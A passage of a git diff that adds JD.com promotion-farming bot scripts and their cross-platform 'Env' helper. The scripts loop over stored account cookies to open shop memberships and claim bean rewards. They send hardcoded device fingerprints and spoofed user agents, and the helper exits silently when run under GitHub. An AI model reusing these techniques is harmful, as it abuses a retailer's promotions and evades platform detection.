API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", + a = t.length, + n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GIT_HUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch (e) { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch (e) { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/backUp/jd_opencard2.js b/backUp/jd_opencard2.js new file mode 100644 index 0000000..72d5a1a --- /dev/null +++ b/backUp/jd_opencard2.js @@ -0,0 +1,334 @@ +/* +一次性的 跑一次就行了 +[task_local] +#柠檬一次性开卡一组 +0 13 * * * +*/ +const $ = new Env('柠檬一次性开卡一组'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +let codeList = [] +const logs =0; +let allMessage = ''; + +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = '' + + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + for (let i = 0; i < 9; i++) { + + await task() + } + + for (let i = 0; i < memberList.length; i++) { + cardid = memberList[i].cardId + $.log("开卡: "+cardid) + await opencard(cardid) + + } + for (let i = 0; i < memberList.length; i++) { + cardid = memberList[i].cardId + $.log("领豆: "+cardid) + + await getReward(cardid) + } + + } + } + +if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}` ) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + + +async function opencard(venderId){ + return new Promise((resolve) => { + + let nm_url = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body={"venderId":"${venderId}"}&client=H5&clientVersion=9.2.0&uuid=88888&jsonp=jsonp_1626403825389_16205`, + + headers: { + + "Cookie": cookie, + "Origin": "https://api.m.jd.com", + "Host": "api.m.jd.com", + "User-Agent": "Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1", + } + + } + $.get(nm_url,async(error, response, data) =>{ + try{ + // data = JSON.parse(data); + //$.log(data) + if(logs)$.log(data) + data = data.match(/(\{[^()]+\}.+)\);/)[1] + data = JSON.parse(data); + if(data.success == true){ + $.log(data.message) + }else if(data.success == false){ + $.log(data.message) + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function task(){ + return new Promise(async (resolve) => { + + let options = { + url: 'https://jdjoy.jd.com/module/task/v2/getActivity?configCode=e2a35e0426e846499fc9d73041e1c20b&eid=&fp=', + + headers: { +"Host": "jdjoy.jd.com", +"Content-Type": "application/json;charset=utf-8", + "Cookie": cookie, + "Origin": "https://prodev.m.jd.com", + "User-Agent": "Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1", + "Referer": "https://prodev.m.jd.com/mall/active/XnBpgvj3mF26zaNo6HChZumELh4/index.html?babelChannel=ttt1&tttparams=0MgQEmijIeyJnTG5nIjoiMTE0LjA2MjU4MiIsImdMYXQiOiIyOS41NDE0NDgifQ9%3D%3D&lng=114.062582&lat=29.541448&sid=155af26c71756ef0318aeb0fafbed57w&un_area=4_48201_54794_0", + } + + } + $.get(options, async (err, resp, data) => { + $.log("task") + //$.log(data) + try{ + data = JSON.parse(data); + + + + if (data.success == true) { + tasklist = data.data.dailyTask.taskList + for (let i = 0; i < tasklist.length; i++) { + + + itemId = tasklist[0].item.itemId + $.log(itemId) + await dotask(1,itemId) + await $.wait(5000) + + itemId1 = tasklist[1].item.itemId + $.log(itemId1) + await dotask(2,itemId1) + //await $.wait(5000) + + } + memberList = data.data.memberTask.memberList + + + } else if (data.success == false){ + console.log(data.errorMessage) + } + + }catch(e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) + } + +async function dotask(groupType,itemId){ + return new Promise((resolve) => { + + let plant6_url = { + url: 'https://jdjoy.jd.com/module/task/v2/doTask', + body: `{"groupType":${groupType},"configCode":"e2a35e0426e846499fc9d73041e1c20b","itemId":"${itemId}","eid":"XN6CRI457W4FSJDXX3KTKGYNUA4LZSDA62FWZW5V32RVF2QKGLT7XJWGHFDXHK71DDYV27APGTUU5D2MEWDSYJFBXI","fp":"2a1aabc0d210ab466e1933298c423911"}`, + headers: { +"Host": "jdjoy.jd.com", +"Content-Type": "application/json;charset=utf-8", + "Cookie": cookie, + "Origin": "https://prodev.m.jd.com", + "User-Agent": "Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1", + "Referer": "https://prodev.m.jd.com/mall/active/XnBpgvj3mF26zaNo6HChZumELh4/index.html?babelChannel=ttt1&tttparams=0MgQEmijIeyJnTG5nIjoiMTE0LjA2MjU4MiIsImdMYXQiOiIyOS41NDE0NDgifQ9%3D%3D&lng=114.062582&lat=29.541448&sid=155af26c71756ef0318aeb0fafbed57w&un_area=4_48201_54794_0", + } + + } + $.post(plant6_url,async(error, response, data) =>{ + $.log("dotask") + //$.log(data) + try{ + data = JSON.parse(data); + + //if(logs)$.log(data) + + if (data.success == true) { + + console.log("任务成功+1豆") + + + } else if (data.success == false){ + console.log(data.errorMessage) + } + + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } + + +async function getReward(itemId){ + return new Promise((resolve) => { + + let plant6_url = { + url: 'https://jdjoy.jd.com/module/task/v2/getReward', + body: `{"configCode":"e2a35e0426e846499fc9d73041e1c20b","groupType":7,"itemId":${itemId},"eid":"XN6CRI117W4FSJDXX3KTKGYNUA4LZSDA62FWZW5V32RVF2QKGLT7XJWGHFDXHK73DDYV27APGTUU5D2MEWDSYJFBXI","fp":"2a1aabc0d210ab466e1933298c42311c"}`, + headers: { +"Host": "jdjoy.jd.com", +"Content-Type": "application/json;charset=utf-8", + "Cookie": cookie, + "Origin": "https://prodev.m.jd.com", + "User-Agent": "Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1", + "Referer": "https://prodev.m.jd.com/mall/active/XnBpgvj3mF26zaNo6HChZumELh4/index.html?babelChannel=ttt1&tttparams=0MgQEmijIeyJnTG5nIjoiMTE0LjA2MjU4MiIsImdMYXQiOiIyOS41NDE0NDgifQ9%3D%3D&lng=114.062582&lat=29.541448&sid=155af26c71756ef0318aeb0fafbed57w&un_area=4_48201_54794_0", + } + + } + $.post(plant6_url,async(error, response, data) =>{ + try{ + data = JSON.parse(data); + //console.log(result) + if(logs)$.log(data) + + + + if (data.success == true) { + + console.log("领取10豆成功") + + + } else if (data.success == false){ + console.log(data) + } + + + + + + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } + + +async function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_opencard_Daddy.js b/backUp/jd_opencard_Daddy.js new file mode 100644 index 0000000..8a136e6 --- /dev/null +++ b/backUp/jd_opencard_Daddy.js @@ -0,0 +1,597 @@ +/* + +跑完脚本 +复制链接 到京东 +20.0复制整段话 http:/JIMNn3FbzhXZ9v 奶爸盛典重磅福利!惊喜京豆立即领取,更多实物惊喜大奖#iCYfiAu7ub@しǎι【京東】AΡΡの +下拉到福利三,领取邀请5人奖励好像是100豆 +我不知道一天可以有多少个20豆自己测试吧 = = +我不知道一天可以有多少个20豆自己测试吧 = = +我不知道一天可以有多少个20豆自己测试吧 = = +我不知道一天可以有多少个20豆自己测试吧 = = + +默认跑到ck6停,如果你还不可以领取 那就改变量 + +第一个账号助力我 其他依次助力CK1 +第一个CK失效应该全都会助力我,亲注意一下 +入口复制到jd: +20.0复制整段话 http:/JIMNn3FbzhXZ9v 奶爸盛典重磅福利!惊喜京豆立即领取,更多实物惊喜大奖#iCYfiAu7ub@しǎι【京東】AΡΡの + + +更新地址:https://github.com/Tsukasa007/my_script +============Quantumultx=============== +[task_local] +#8.2-8.12 奶爸盛典 爸气全开(跑完手动领取100豆) +41 1,10 * * * jd_opencard_Daddy.js, tag=8.2-8.12 奶爸盛典 爸气全开(跑完手动领取100豆), img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_opencard_Daddy.png, enabled=true + +================Loon============== +[Script] +cron 